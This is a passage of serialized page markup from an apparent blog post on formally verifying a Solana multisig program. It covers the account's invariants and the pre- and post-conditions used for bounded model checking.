!",{"type":23,"tag":481,"props":18470,"children":18471},{"style":525},[18472],{"type":28,"value":11201},{"type":23,"tag":481,"props":18474,"children":18475},{"style":514},[18476],{"type":28,"value":199},{"type":23,"tag":481,"props":18478,"children":18479},{"style":525},[18480],{"type":28,"value":18481},"keys",{"type":23,"tag":481,"props":18483,"children":18484},{"style":514},[18485],{"type":28,"value":199},{"type":23,"tag":481,"props":18487,"children":18488},{"style":525},[18489],{"type":28,"value":18490},"is_empty()\n",{"type":23,"tag":481,"props":18492,"children":18493},{"class":483,"line":567},[18494,18498,18503,18507,18511,18515,18520,18524,18529,18533,18538,18542,18546],{"type":23,"tag":481,"props":18495,"children":18496},{"style":514},[18497],{"type":28,"value":13111},{"type":23,"tag":481,"props":18499,"children":18500},{"style":525},[18501],{"type":28,"value":18502}," (self",{"type":23,"tag":481,"props":18504,"children":18505},{"style":514},[18506],{"type":28,"value":199},{"type":23,"tag":481,"props":18508,"children":18509},{"style":525},[18510],{"type":28,"value":18481},{"type":23,"tag":481,"props":18512,"children":18513},{"style":514},[18514],{"type":28,"value":199},{"type":23,"tag":481,"props":18516,"children":18517},{"style":525},[18518],{"type":28,"value":18519},"len() ",{"type":23,"tag":481,"props":18521,"children":18522},{"style":514},[18523],{"type":28,"value":16911},{"type":23,"tag":481,"props":18525,"children":18526},{"style":943},[18527],{"type":28,"value":18528}," u16",{"type":23,"tag":481,"props":18530,"children":18531},{"style":514},[18532],{"type":28,"value":1006},{"type":23,"tag":481,"props":18534,"children":18535},{"style":943},[18536],{"type":28,"value":18537},"MAX",{"type":23,"tag":481,"props":18539,"children":18540},{"style":497},[18541],{"type":28,"value":6308},{"type":23,"tag":481,"props":18543,"children":18544},{"style":943},[18545],{"type":28,"value":11219},{"type":23,"tag":481,"props":18547,"children":18548},{"style":525},[18549],{"type":28,"value":675},{"type":23,"tag":481,"props":18551,"children":18552},{"class":483,"line":678},[18553,18557,18561,18565,18570,18574],{"type":23,"tag":481,"props":18554,"children":18555},{"style":514},[18556],{"type":28,"value":13111},{"type":23,"tag":481,"props":18558,"children":18559},{"style":525},[18560],{"type":28,"value":18502},{"type":23,"tag":481,"props":18562,"children":18563},{"style":514},[18564],{"type":28,"value":199},{"type":23,"tag":481,"props":18566,"children":18567},{"style":525},[18568],{"type":28,"value":18569},"threshold ",{"type":23,"tag":481,"props":18571,"children":18572},{"style":514},[18573],{"type":28,"value":7428},{"type":23,"tag":481,"props":18575,"children":18576},{"style":525},[18577],{"type":28,"value":18578}," 1)\n",{"type":23,"tag":481,"props":18580,"children":18581},{"class":483,"line":784},[18582,18586,18590,18594,18598,18602,18606,18610,18614,18618,18622,18626],{"type":23,"tag":481,"props":18583,"children":18584},{"style":514},[18585],{"type":28,"value":13111},{"type":23,"tag":481,"props":18587,"children":18588},{"style":525},[18589],{"type":28,"value":18502},{"type":23,"tag":481,"props":18591,"children":18592},{"style":514},[18593],{"type":28,"value":199},{"type":23,"tag":481,"props":18595,"children":18596},{"style":525},[18597],{"type":28,"value":18569},{"type":23,"tag":481,"props":18599,"children":18600},{"style":497},[18601],{"type":28,"value":6322},{"type":23,"tag":481,"props":18603,"children":18604},{"style":943},[18605],{"type":28,"value":11219},{"type":23,"tag":481,"props":18607,"children":18608},{"style":514},[18609],{"type":28,"value":5676},{"type":23,"tag":481,"props":18611,"children":18612},{"style":525},[18613],{"type":28,"value":11285},{"type":23,"tag":481,"props":18615,"children":18616},{"style":514},[18617],{"type":28,"value":199},{"type":23,"tag":481,"props":18619,"children":18620},{"style":525},[18621],{"type":28,"value":18481},{"type":23,"tag":481,"props":18623,"children":18624},{"style":514},[18625],{"type":28,"value":199},{"type":23,"tag":481,"props":18627,"children":18628},{"style":525},[18629],{"type":28,"value":18630},"len())\n",{"type":23,"tag":481,"props":18632,"children":18633},{"class":483,"line":812},[18634],{"type":23,"tag":481,"props":18635,"children":18636},{"style":525},[18637],{"type":28,"value":17756},{"type":23,"tag":481,"props":18639,"children":18640},{"class":483,"line":825},[18641,18645,18650,18655],{"type":23,"tag":481,"props":18642,"children":18643},{"style":497},[18644],{"type":28,"value":11178},{"type":23,"tag":481,"props":18646,"children":18647},{"style":497},[18648],{"type":28,"value":18649}," struct",{"type":23,"tag":481,"props":18651,"children":18652},{"style":943},[18653],{"type":28,"value":18654}," Ms",{"type":23,"tag":481,"props":18656,"children":18657},{"style":525},[18658],{"type":28,"value":809},{"type":23,"tag":481,"props":18660,"children":18661},{"class":483,"line":843},[18662,18666,18671,18675,18679,18684],{"type":23,"tag":481,"props":18663,"children":18664},{"style":497},[18665],{"type":28,"value":18341},{"type":23,"tag":481,"props":18667,"children":18668},{"style":508},[18669],{"type":28,"value":18670}," threshold",{"type":23,"tag":481,"props":18672,"children":18673},{"style":514},[18674],{"type":28,"value":287},{"type":23,"tag":481,"props":18676,"children":18677},{"style":943},[18678],{"type":28,"value":18528},{"type":23,"tag":481,"props":18680,"children":18681},{"style":525},[18682],{"type":28,"value":18683},", ",{"type":23,"tag":481,"props":18685,"children":18686},{"style":488},[18687],{"type":28,"value":18688},"// threshold for signatures\n",{"type":23,"tag":481,"props":18690,"children":18691},{"class":483,"line":864},[18692,18696,18701,18705,18709,18714],{"type":23,"tag":481,"props":18693,"children":18694},{"style":497},[18695],{"type":28,"value":18341},{"type":23,"tag":481,"props":18697,"children":18698},{"style":508},[18699],{"type":28,"value":18700}," authority_index",{"type":23,"tag":481,"props":18702,"children":18703},{"style":514},[18704],{"type":28,"value":287},{"type":23,"tag":481,"props":18706,"children":18707},{"style":943},[18708],{"type":28,"value":18528},{"type":23,"tag":481,"props":18710,"children":18711},{"style":525},[18712],{"type":28,"value":18713},", ",{"type":23,"tag":481,"props":18715,"children":18716},{"style":488},[18717],{"type":28,"value":18718},"// index to seed other authorities under this multisig\n",{"type":23,"tag":481,"props":18720,"children":18721},{"class":483,"line":873},[18722,18726,18731,18735,18739,18744],{"type":23,"tag":481,"props":18723,"children":18724},{"style":497},[18725],{"type":28,"value":18341},{"type":23,"tag":481,"props":18727,"children":18728},{"style":508},[18729],{"type":28,"value":18730}," transaction_index",{"type":23,"tag":481,"props":18732,"children":18733},{"style":514},[18734],{"type":28,"value":287},{"type":23,"tag":481,"props":18736,"children":18737},{"style":943},[18738],{"type":28,"value":15042},{"type":23,"tag":481,"props":18740,"children":18741},{"style":525},[18742],{"type":28,"value":18743},", ",{"type":23,"tag":481,"props":18745,"children":18746},{"style":488},[18747],{"type":28,"value":18748},"// look up and seed reference for transactions\n",{"type":23,"tag":481,"props":18750,"children":18751},{"class":483,"line":1125},[18752,18756,18761,18765,18769,18773],{"type":23,"tag":481,"props":18753,"children":18754},{"style":497},[18755],{"type":28,"value":18341},{"type":23,"tag":481,"props":18757,"children":18758},{"style":508},[18759],{"type":28,"value":18760}," ms_change_index",{"type":23,"tag":481,"props":18762,"children":18763},{"style":514},[18764],{"type":28,"value":287},{"type":23,"tag":481,"props":18766,"children":18767},{"style":943},[18768],{"type":28,"value":15042},{"type":23,"tag":481,"props":18770,"children":18771},{"style":525},[18772],{"type":28,"value":18713},{"type":23,"tag":481,"props":18774,"children":18775},{"style":488},[18776],{"type":28,"value":18777},"// the last executed/closed transaction\n",{"type":23,"tag":481,"props":18779,"children":18780},{"class":483,"line":1142},[18781,18785,18790,18794,18798,18803],{"type":23,"tag":481,"props":18782,"children":18783},{"style":497},[18784],{"type":28,"value":18341},{"type":23,"tag":481,"props":18786,"children":18787},{"style":508},[18788],{"type":28,"value":18789}," bump",{"type":23,"tag":481,"props":18791,"children":18792},{"style":514},[18793],{"type":28,"value":287},{"type":23,"tag":481,"props":18795,"children":18796},{"style":943},[18797],{"type":28,"value":12122},{"type":23,"tag":481,"props":18799,"children":18800},{"style":525},[18801],{"type":28,"value":18802},", ",{"type":23,"tag":481,"props":18804,"children":18805},{"style":488},[18806],{"type":28,"value":18807},"// bump for the multisig seed\n",{"type":23,"tag":481,"props":18809,"children":18810},{"class":483,"line":1159},[18811,18815,18820,18824,18828,18833],{"type":23,"tag":481,"props":18812,"children":18813},{"style":497},[18814],{"type":28,"value":18341},{"type":23,"tag":481,"props":18816,"children":18817},{"style":508},[18818],{"type":28,"value":18819}," create_key",{"type":23,"tag":481,"props":18821,"children":18822},{"style":514},[18823],{"type":28,"value":287},{"type":23,"tag":481,"props":18825,"children":18826},{"style":943},[18827],{"type":28,"value":18355},{"type":23,"tag":481,"props":18829,"children":18830},{"style":525},[18831],{"type":28,"value":18832},", ",{"type":23,"tag":481,"props":18834,"children":18835},{"style":488},[18836],{"type":28,"value":18837},"// random key(or not) used to seed the multisig pda\n",{"type":23,"tag":481,"props":18839,"children":18840},{"class":483,"line":1172},[18841,18845,18850,18854,18858,18862],{"type":23,"tag":481,"props":18842,"children":18843},{"style":497},[18844],{"type":28,"value":18341},{"type":23,"tag":481,"props":18846,"children":18847},{"style":508},[18848],{"type":28,"value":18849}," allow_external_execute",{"type":23,"tag":481,"props":18851,"children":18852},{"style":514},[18853],{"type":28,"value":287},{"type":23,"tag":481,"props":18855,"children":18856},{"style":943},[18857],{"type":28,"value":9537},{"type":23,"tag":481,"props":18859,"children":18860},{"style":525},[18861],{"type":28,"value":588},{"type":23,"tag":481,"props":18863,"children":18864},{"style":488},[18865],{"type":28,"value":18866},"// allow non-member keys to execute txs\n",{"type":23,"tag":481,"props":18868,"children":18869},{"class":483,"line":1181},[18870,18874,18879,18883,18888,18892,18897,18902],{"type":23,"tag":481,"props":18871,"children":18872},{"style":497},[18873],{"type":28,"value":18341},{"type":23,"tag":481,"props":18875,"children":18876},{"style":508},[18877],{"type":28,"value":18878}," keys",{"type":23,"tag":481,"props":18880,"children":18881},{"style":514},[18882],{"type":28,"value":287},{"type":23,"tag":481,"props":18884,"children":18885},{"style":943},[18886],{"type":28,"value":18887}," Vec",{"type":23,"tag":481,"props":18889,"children":18890},{"style":525},[18891],{"type":28,"value":3282},{"type":23,"tag":481,"props":18893,"children":18894},{"style":943},[18895],{"type":28,"value":18896},"Pubkey",{"type":23,"tag":481,"props":18898,"children":18899},{"style":525},[18900],{"type":28,"value":18901},">, ",{"type":23,"tag":481,"props":18903,"children":18904},{"style":488},[18905],{"type":28,"value":18906},"// keys of the members\n",{"type":23,"tag":481,"props":18908,"children":18909},{"class":483,"line":1204},[18910],{"type":23,"tag":481,"props":18911,"children":18912},{"style":525},[18913],{"type":28,"value":1443},{"type":23,"tag":24,"props":18915,"children":18916},{},[18917],{"type":28,"value":18918},"Here we are verifying multiple things at once:",{"type":23,"tag":14178,"props":18920,"children":18921},{},[18922,18933,18944,18955],{"type":23,"tag":77,"props":18923,"children":18924},{},[18925,18931],{"type":23,"tag":64,"props":18926,"children":18928},{"className":18927},[],[18929],{"type":28,"value":18930},"!self.keys.is_empty()",{"type":28,"value":18932}," : ensure there is at least one member",{"type":23,"tag":77,"props":18934,"children":18935},{},[18936,18942],{"type":23,"tag":64,"props":18937,"children":18939},{"className":18938},[],[18940],{"type":28,"value":18941},"self.keys.len() \u003C= u16::MAX as usize",{"type":28,"value":18943}," : set an upper limit of 65535 members",{"type":23,"tag":77,"props":18945,"children":18946},{},[18947,18953],{"type":23,"tag":64,"props":18948,"children":18950},{"className":18949},[],[18951],{"type":28,"value":18952},"self.threshold >= 1",{"type":28,"value":18954}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":23,"tag":77,"props":18956,"children":18957},{},[18958,18964],{"type":23,"tag":64,"props":18959,"children":18961},{"className":18960},[],[18962],{"type":28,"value":18963},"self.threshold as usize \u003C= self.keys.len()",{"type":28,"value":18965}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":23,"tag":31,"props":18967,"children":18969},{"id":18968},"verification-how-do-we-check-that-our-model-is-correct",[18970],{"type":28,"value":18971},"Verification: How do we check that our model is correct?",{"type":23,"tag":24,"props":18973,"children":18974},{},[18975,18977,18981,18983,18988],{"type":28,"value":18976},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":23,"tag":127,"props":18978,"children":18979},{},[18980],{"type":28,"value":17466},{"type":28,"value":18982}," on which we can run bounded model checking. Our tool does this ",{"type":23,"tag":127,"props":18984,"children":18985},{},[18986],{"type":28,"value":18987},"automagically",{"type":28,"value":18989}," for anchor-lang programs.",{"type":23,"tag":24,"props":18991,"children":18992},{},[18993,18995,19001,19003,19008,19010,19015,19016,19021,19023,19028,19030,19035,19036,19042,19044,19050,19051,19057],{"type":28,"value":18994},"Specifically, for a given ",{"type":23,"tag":64,"props":18996,"children":18998},{"className":18997},[],[18999],{"type":28,"value":19000},"Context\u003CT>",{"type":28,"value":19002}," with ",{"type":23,"tag":127,"props":19004,"children":19005},{},[19006],{"type":28,"value":19007},"incoming",{"type":28,"value":19009}," accounts of types (",{"type":23,"tag":64,"props":19011,"children":19013},{"className":19012},[],[19014],{"type":28,"value":18238},{"type":28,"value":2130},{"type":23,"tag":64,"props":19017,"children":19019},{"className":19018},[],[19020],{"type":28,"value":1259},{"type":28,"value":19022},") and ",{"type":23,"tag":127,"props":19024,"children":19025},{},[19026],{"type":28,"value":19027},"outgoing",{"type":28,"value":19029}," accounts of type (",{"type":23,"tag":64,"props":19031,"children":19033},{"className":19032},[],[19034],{"type":28,"value":1259},{"type":28,"value":2130},{"type":23,"tag":64,"props":19037,"children":19039},{"className":19038},[],[19040],{"type":28,"value":19041},"close",{"type":28,"value":19043},") we define a ",{"type":23,"tag":64,"props":19045,"children":19047},{"className":19046},[],[19048],{"type":28,"value":19049},"pre_condition",{"type":28,"value":8478},{"type":23,"tag":64,"props":19052,"children":19054},{"className":19053},[],[19055],{"type":28,"value":19056},"post_condition",{"type":28,"value":19058}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":23,"tag":24,"props":19060,"children":19061},{},[19062],{"type":23,"tag":64,"props":19063,"children":19065},{"className":19064},[1527,1528],[19066],{"type":23,"tag":481,"props":19067,"children":19069},{"className":19068},[1533],[19070],{"type":23,"tag":481,"props":19071,"children":19073},{"className":19072,"ariaHidden":1539},[1538],[19074,19110],{"type":23,"tag":481,"props":19075,"children":19077},{"className":19076},[1544],[19078,19083,19091,19096,19100,19106],{"type":23,"tag":481,"props":19079,"children":19082},{"className":19080,"style":19081},[1549],"height:0.6833em;",[],{"type":23,"tag":481,"props":19084,"children":19088},{"className":19085,"style":19087},[1555,19086],"mathnormal","margin-right:0.13889em;",[19089],{"type":28,"value":19090},"P",{"type":23,"tag":481,"props":19092,"children":19094},{"className":19093},[1555],[19095],{"type":28,"value":1568},{"type":23,"tag":481,"props":19097,"children":19099},{"className":19098,"style":1734},[1636],[],{"type":23,"tag":481,"props":19101,"children":19103},{"className":19102},[1739],[19104],{"type":28,"value":19105},":=",{"type":23,"tag":481,"props":19107,"children":19109},{"className":19108,"style":1734},[1636],[],{"type":23,"tag":481,"props":19111,"children":19113},{"className":19112},[1544],[19114,19119,19259,19263],{"type":23,"tag":481,"props":19115,"children":19118},{"className":19116,"style":19117},[1549],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":23,"tag":481,"props":19120,"children":19123},{"className":19121},[19122],"mop",[19124,19133],{"type":23,"tag":481,"props":19125,"children":19130},{"className":19126,"style":19129},[19122,19127,19128],"op-symbol","small-op","position:relative;top:0em;",[19131],{"type":28,"value":19132},"⋀",{"type":23,"tag":481,"props":19134,"children":19136},{"className":19135},[1572],[19137],{"type":23,"tag":481,"props":19138,"children":19141},{"className":19139},[1577,19140],"vlist-t2",[19142,19247],{"type":23,"tag":481,"props":19143,"children":19145},{"className":19144},[1582],[19146,19240],{"type":23,"tag":481,"props":19147,"children":19150},{"className":19148,"style":19149},[1587],"height:0.2253em;",[19151],{"type":23,"tag":481,"props":19152,"children":19154},{"style":19153},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[19155,19159],{"type":23,"tag":481,"props":19156,"children":19158},{"className":19157,"style":1597},[1596],[],{"type":23,"tag":481,"props":19160,"children":19162},{"className":19161},[1602,1603,1604,1605],[19163],{"type":23,"tag":481,"props":19164,"children":19166},{"className":19165},[1555,1605],[19167,19172,19178,19188,19194,19203,19212,19218,19223,19229,19234],{"type":23,"tag":481,"props":19168,"children":19170},{"className":19169},[1555,19086,1605],[19171],{"type":28,"value":190},{"type":23,"tag":481,"props":19173,"children":19175},{"className":19174},[1555,19086,1605],[19176],{"type":28,"value":19177},"cc",{"type":23,"tag":481,"props":19179,"children":19181},{"className":19180},[1636,1605],[19182],{"type":23,"tag":481,"props":19183,"children":19185},{"className":19184},[1605],[19186],{"type":28,"value":19187}," ",{"type":23,"tag":481,"props":19189,"children":19191},{"className":19190},[1739,1605],[19192],{"type":28,"value":19193},"∈",{"type":23,"tag":481,"props":19195,"children":19197},{"className":19196},[1636,1605],[19198],{"type":23,"tag":481,"props":19199,"children":19201},{"className":19200},[1605],[19202],{"type":28,"value":19187},{"type":23,"tag":481,"props":19204,"children":19206},{"className":19205},[1555,28,1605],[19207],{"type":23,"tag":481,"props":19208,"children":19210},{"className":19209},[1555,1605],[19211],{"type":28,"value":19007},{"type":23,"tag":481,"props":19213,"children":19216},{"className":19214},[19215,1605],"mopen",[19217],{"type":28,"value":618},{"type":23,"tag":481,"props":19219,"children":19221},{"className":19220},[1555,19086,1605],[19222],{"type":28,"value":661},{"type":23,"tag":481,"props":19224,"children":19226},{"className":19225},[1555,19086,1605],[19227],{"type":28,"value":19228},"t",{"type":23,"tag":481,"props":19230,"children":19232},{"className":19231},[1555,19086,1605],[19233],{"type":28,"value":16772},{"type":23,"tag":481,"props":19235,"children":19238},{"className":19236},[19237,1605],"mclose",[19239],{"type":28,"value":642},{"type":23,"tag":481,"props":19241,"children":19244},{"className":19242},[19243],"vlist-s",[19245],{"type":28,"value":19246},"​",{"type":23,"tag":481,"props":19248,"children":19250},{"className":19249},[1582],[19251],{"type":23,"tag":481,"props":19252,"children":19255},{"className":19253,"style":19254},[1587],"height:0.4747em;",[19256],{"type":23,"tag":481,"props":19257,"children":19258},{},[],{"type":23,"tag":481,"props":19260,"children":19262},{"className":19261,"style":1675},[1636],[],{"type":23,"tag":481,"props":19264,"children":19266},{"className":19265},[1555],[19267,19277,19282,19287,19292],{"type":23,"tag":481,"props":19268,"children":19270},{"className":19269},[1555,28],[19271],{"type":23,"tag":481,"props":19272,"children":19274},{"className":19273},[1555],[19275],{"type":28,"value":19276},"invariant",{"type":23,"tag":481,"props":19278,"children":19280},{"className":19279},[19215],[19281],{"type":28,"value":618},{"type":23,"tag":481,"props":19283,"children":19285},{"className":19284},[1555,19086],[19286],{"type":28,"value":190},{"type":23,"tag":481,"props":19288,"children":19290},{"className":19289},[1555,19086],[19291],{"type":28,"value":19177},{"type":23,"tag":481,"props":19293,"children":19295},{"className":19294},[19237],[19296],{"type":28,"value":642},{"type":23,"tag":24,"props":19298,"children":19299},{},[19300],{"type":23,"tag":64,"props":19301,"children":19303},{"className":19302},[1527,1528],[19304],{"type":23,"tag":481,"props":19305,"children":19307},{"className":19306},[1533],[19308],{"type":23,"tag":481,"props":19309,"children":19311},{"className":19310,"ariaHidden":1539},[1538],[19312,19343],{"type":23,"tag":481,"props":19313,"children":19315},{"className":19314},[1544],[19316,19320,19325,19330,19334,19339],{"type":23,"tag":481,"props":19317,"children":19319},{"className":19318,"style":19081},[1549],[],{"type":23,"tag":481,"props":19321,"children":19323},{"className":19322,"style":19087},[1555,19086],[19324],{"type":28,"value":19090},{"type":23,"tag":481,"props":19326,"children":19328},{"className":19327},[1555],[19329],{"type":28,"value":1558},{"type":23,"tag":481,"props":19331,"children":19333},{"className":19332,"style":1734},[1636],[],{"type":23,"tag":481,"props":19335,"children":19337},{"className":19336},[1739],[19338],{"type":28,"value":19105},{"type":23,"tag":481,"props":19340,"children":19342},{"className":19341,"style":1734},[1636],[],{"type":23,"tag":481,"props":19344,"children":19346},{"className":19345},[1544],[19347,19351,19474,19478],{"type":23,"tag":481,"props":19348,"children":19350},{"className":19349,"style":19117},[1549],[],{"type":23,"tag":481,"props":19352,"children":19354},{"className":19353},[19122],[19355,19360],{"type":23,"tag":481,"props":19356,"children":19358},{"className":19357,"style":19129},[19122,19127,19128],[19359],{"type":28,"value":19132},{"type":23,"tag":481,"props":19361,"children":19363},{"className":19362},[1572],[19364],{"type":23,"tag":481,"props":19365,"children":19367},{"className":19366},[1577,19140],[19368,19463],{"type":23,"tag":481,"props":19369,"children":19371},{"className":19370},[1582],[19372,19458],{"type":23,"tag":481,"props":19373,"children":19375},{"className":19374,"style":19149},[1587],[19376],{"type":23,"tag":481,"props":19377,"children":19378},{"style":19153},[19379,19383],{"type":23,"tag":481,"props":19380,"children":19382},{"className":19381,"style":1597},[1596],[],{"type":23,"tag":481,"props":19384,"children":19386},{"className":19385},[1602,1603,1604,1605],[19387],{"type":23,"tag":481,"props":19388,"children":19390},{"className":19389},[1555,1605],[19391,19396,19401,19410,19415,19424,19433,19438,19443,19448,19453],{"type":23,"tag":481,"props":19392,"children":19394},{"className":19393},[1555,19086,1605],[19395],{"type":28,"value":190},{"type":23,"tag":481,"props":19397,"children":19399},{"className":19398},[1555,19086,1605],[19400],{"type":28,"value":19177},{"type":23,"tag":481,"props":19402,"children":19404},{"className":19403},[1636,1605],[19405],{"type":23,"tag":481,"props":19406,"children":19408},{"className":19407},[1605],[19409],{"type":28,"value":19187},{"type":23,"tag":481,"props":19411,"children":19413},{"className":19412},[1739,1605],[19414],{"type":28,"value":19193},{"type":23,"tag":481,"props":19416,"children":19418},{"className":19417},[1636,1605],[19419],{"type":23,"tag":481,"props":19420,"children":19422},{"className":19421},[1605],[19423],{"type":28,"value":19187},{"type":23,"tag":481,"props":19425,"children":19427},{"className":19426},[1555,28,1605],[19428],{"type":23,"tag":481,"props":19429,"children":19431},{"className":19430},[1555,1605],[19432],{"type":28,"value":19027},{"type":23,"tag":481,"props":19434,"children":19436},{"className":19435},[19215,1605],[19437],{"type":28,"value":618},{"type":23,"tag":481,"props":19439,"children":19441},{"className":19440},[1555,19086,1605],[19442],{"type":28,"value":661},{"type":23,"tag":481,"props":19444,"children":19446},{"className":19445},[1555,19086,1605],[19447],{"type":28,"value":19228},{"type":23,"tag":481,"props":19449,"children":19451},{"className":19450},[1555,19086,1605],[19452],{"type":28,"value":16772},{"type":23,"tag":481,"props":19454,"children":19456},{"className":19455},[19237,1605],[19457],{"type":28,"value":642},{"type":23,"tag":481,"props":19459,"children":19461},{"className":19460},[19243],[19462],{"type":28,"value":19246},{"type":23,"tag":481,"props":19464,"children":19466},{"className":19465},[1582],[19467],{"type":23,"tag":481,"props":19468,"children":19470},{"className":19469,"style":19254},[1587],[19471],{"type":23,"tag":481,"props":19472,"children":19473},{},[],{"type":23,"tag":481,"props":19475,"children":19477},{"className":19476,"style":1675},[1636],[],{"type":23,"tag":481,"props":19479,"children":19481},{"className":19480},[1555],[19482,19491,19496,19501,19506],{"type":23,"tag":481,"props":19483,"children":19485},{"className":19484},[1555,28],[19486],{"type":23,"tag":481,"props":19487,"children":19489},{"className":19488},[1555],[19490],{"type":28,"value":19276},{"type":23,"tag":481,"props":19492,"children":19494},{"className":19493},[19215],[19495],{"type":28,"value":618},{"type":23,"tag":481,"props":19497,"children":19499},{"className":19498},[1555,19086],[19500],{"type":28,"value":190},{"type":23,"tag":481,"props":19502,"children":19504},{"className":19503},[1555,19086],[19505],{"type":28,"value":19177},{"type":23,"tag":481,"props":19507,"children":19509},{"className":19508},[19237],[19510],{"type":28,"value":642},{"type":23,"tag":24,"props":19512,"children":19513},{},[19514],{"type":28,"value":19515},"Our instruction invariants are represented as:",{"type":23,"tag":14178,"props":19517,"children":19518},{},[19519,19555],{"type":23,"tag":77,"props":19520,"children":19521},{},[19522,19549,19550],{"type":23,"tag":64,"props":19523,"children":19525},{"className":19524},[1527,1528],[19526],{"type":23,"tag":481,"props":19527,"children":19529},{"className":19528},[1533],[19530],{"type":23,"tag":481,"props":19531,"children":19533},{"className":19532,"ariaHidden":1539},[1538],[19534],{"type":23,"tag":481,"props":19535,"children":19537},{"className":19536},[1544],[19538,19542],{"type":23,"tag":481,"props":19539,"children":19541},{"className":19540,"style":19081},[1549],[],{"type":23,"tag":481,"props":19543,"children":19546},{"className":19544,"style":19545},[1555,19086],"margin-right:0.05764em;",[19547],{"type":28,"value":19548},"S",{"type":28,"value":12820},{"type":23,"tag":64,"props":19551,"children":19553},{"className":19552},[],[19554],{"type":28,"value":17652},{"type":23,"tag":77,"props":19556,"children":19557},{},[19558,19584,19585],{"type":23,"tag":64,"props":19559,"children":19561},{"className":19560},[1527,1528],[19562],{"type":23,"tag":481,"props":19563,"children":19565},{"className":19564},[1533],[19566],{"type":23,"tag":481,"props":19567,"children":19569},{"className":19568,"ariaHidden":1539},[1538],[19570],{"type":23,"tag":481,"props":19571,"children":19573},{"className":19572},[1544],[19574,19578],{"type":23,"tag":481,"props":19575,"children":19577},{"className":19576,"style":19081},[1549],[],{"type":23,"tag":481,"props":19579,"children":19581},{"className":19580,"style":19545},[1555,19086],[19582],{"type":28,"value":19583},"E",{"type":28,"value":12820},{"type":23,"tag":64,"props":19586,"children":19588},{"className":19587},[],[19589],{"type":28,"value":17659},{"type":23,"tag":24,"props":19591,"children":19592},{},[19593,19595,19622,19624,19629,19631,19637],{"type":28,"value":19594},"And ",{"type":23,"tag":64,"props":19596,"children":19598},{"className":19597},[1527,1528],[19599],{"type":23,"tag":481,"props":19600,"children":19602},{"className":19601},[1533],[19603],{"type":23,"tag":481,"props":19604,"children":19606},{"className":19605,"ariaHidden":1539},[1538],[19607],{"type":23,"tag":481,"props":19608,"children":19610},{"className":19609},[1544],[19611,19615],{"type":23,"tag":481,"props":19612,"children":19614},{"className":19613,"style":19081},[1549],[],{"type":23,"tag":481,"props":19616,"children":19619},{"className":19617,"style":19618},[1555,19086],"margin-right:0.07153em;",[19620],{"type":28,"value":19621},"K",{"type":28,"value":19623}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":23,"tag":64,"props":19625,"children":19627},{"className":19626},[],[19628],{"type":28,"value":17987},{"type":28,"value":19630}," not an ",{"type":23,"tag":64,"props":19632,"children":19634},{"className":19633},[],[19635],{"type":28,"value":19636},"Err",{"type":28,"value":18240},{"type":23,"tag":24,"props":19639,"children":19640},{},[19641],{"type":28,"value":19642},"In order to verify these conditions we need to verify three cases:",{"type":23,"tag":7092,"props":19644,"children":19646},{"id":19645},"account-invariants-1",[19647],{"type":28,"value":19648},"Account invariants",{"type":23,"tag":24,"props":19650,"children":19651},{},[19652,19654,19685,19687,19717,19719,19749],{"type":28,"value":19653},"After we execute an instruction, either the function should error and be reverted (",{"type":23,"tag":64,"props":19655,"children":19657},{"className":19656},[1527,1528],[19658],{"type":23,"tag":481,"props":19659,"children":19661},{"className":19660},[1533],[19662],{"type":23,"tag":481,"props":19663,"children":19665},{"className":19664,"ariaHidden":1539},[1538],[19666],{"type":23,"tag":481,"props":19667,"children":19669},{"className":19668},[1544],[19670,19674,19680],{"type":23,"tag":481,"props":19671,"children":19673},{"className":19672,"style":19081},[1549],[],{"type":23,"tag":481,"props":19675,"children":19677},{"className":19676},[1555],[19678],{"type":28,"value":19679},"¬",{"type":23,"tag":481,"props":19681,"children":19683},{"className":19682,"style":19618},[1555,19086],[19684],{"type":28,"value":19621},{"type":28,"value":19686},") or the account post-invariants should hold (",{"type":23,"tag":64,"props":19688,"children":19690},{"className":19689},[1527,1528],[19691],{"type":23,"tag":481,"props":19692,"children":19694},{"className":19693},[1533],[19695],{"type":23,"tag":481,"props":19696,"children":19698},{"className":19697,"ariaHidden":1539},[1538],[19699],{"type":23,"tag":481,"props":19700,"children":19702},{"className":19701},[1544],[19703,19707,19712],{"type":23,"tag":481,"props":19704,"children":19706},{"className":19705,"style":19081},[1549],[],{"type":23,"tag":481,"props":19708,"children":19710},{"className":19709,"style":19087},[1555,19086],[19711],{"type":28,"value":19090},{"type":23,"tag":481,"props":19713,"children":19715},{"className":19714},[1555],[19716],{"type":28,"value":1558},{"type":28,"value":19718},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":23,"tag":64,"props":19720,"children":19722},{"className":19721},[1527,1528],[19723],{"type":23,"tag":481,"props":19724,"children":19726},{"className":19725},[1533],[19727],{"type":23,"tag":481,"props":19728,"children":19730},{"className":19729,"ariaHidden":1539},[1538],[19731],{"type":23,"tag":481,"props":19732,"children":19734},{"className":19733},[1544],[19735,19739,19744],{"type":23,"tag":481,"props":19736,"children":19738},{"className":19737,"style":19081},[1549],[],{"type":23,"tag":481,"props":19740,"children":19742},{"className":19741,"style":19087},[1555,19086],[19743],{"type":28,"value":19090},{"type":23,"tag":481,"props":19745,"children":19747},{"className":19746},[1555],[19748],{"type":28,"value":1568},{"type":28,"value":19750},") should hold since we will verify all of the functions eventually.",{"type":23,"tag":24,"props":19752,"children":19753},{},[19754,19756],{"type":28,"value":19755},"So we are trying to prove that 